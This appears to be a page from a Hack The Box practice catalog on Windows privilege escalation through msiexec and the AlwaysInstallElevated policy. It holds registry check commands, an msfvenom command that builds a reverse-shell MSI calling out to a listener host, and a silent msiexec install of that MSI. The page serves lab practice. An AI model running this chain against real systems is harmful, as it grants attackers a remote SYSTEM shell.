Msiexec
Sub-technique of T1218 System Binary Proxy Execution
Installing an MSI with msiexec; with AlwaysInstallElevated enabled it installs as SYSTEM.
How it shows up on Hack The Box
Check both AlwaysInstallElevated keys (HKLM and HKCU). If both are 1, an msfvenom MSI gives you SYSTEM.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Windows privilege escalation: services, unquoted paths, DLL hijacking and AlwaysInstallElevated 4 min read Find and abuse Windows services with weak permissions, unquoted paths, DLL hijacking, scheduled tasks and AlwaysInstallElevated, by hand or with winPEAS.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Reverse shell generator › msfvenom
Windows MSI (for AlwaysInstallElevated)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o shell.msiWindows and Active Directory privilege escalation › Windows
Check (both keys set to 1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Install a malicious MSI
msiexec /quiet /qn /i C:\Windows\Temp\shell.msiBuild the MSI with msfvenom (see the reverse shell cheatsheet).
No command matches.